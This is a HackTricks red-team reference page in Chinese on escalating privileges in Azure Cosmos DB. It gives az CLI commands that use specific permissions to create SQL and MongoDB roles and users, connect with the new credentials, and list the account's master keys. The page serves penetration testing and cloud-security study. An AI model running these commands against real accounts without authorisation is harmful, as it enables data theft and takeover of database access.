Az - CosmosDB Privesc

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

CosmosDB Privesc

有关 SQL 数据库的更多信息，请查看：

Az - CosmosDB

(Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read) & (Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write, Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read)

通过这些权限，您可以提升特权，给予用户执行查询和连接到数据库的权限。首先创建一个角色定义，赋予必要的权限和范围。

az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'

之后，定义的分配被给予一个用户。之后，该用户可以使用 DefaultAzureCredential() 连接方法来执行查询。

az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"

(Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read)&& (Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write && Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read)

拥有此权限，您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 角色定义。这允许为 MongoDB 用户定义具有特定权限的自定义角色。必须启用 RBAC 功能才能使用此权限。

az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'

您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为具有特定角色和访问 MongoDB 数据库的用户进行配置。

az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'

在MongoDB中创建新用户后，我们可以访问它：

mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"

Microsoft.DocumentDB/databaseAccounts/listKeys/action

通过此权限，您可以检索 Azure Cosmos DB 帐户的主密钥和次密钥。这些密钥提供对数据库帐户及其资源的完全访问权限，使您能够执行数据读取、写入和配置更改等操作。

az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks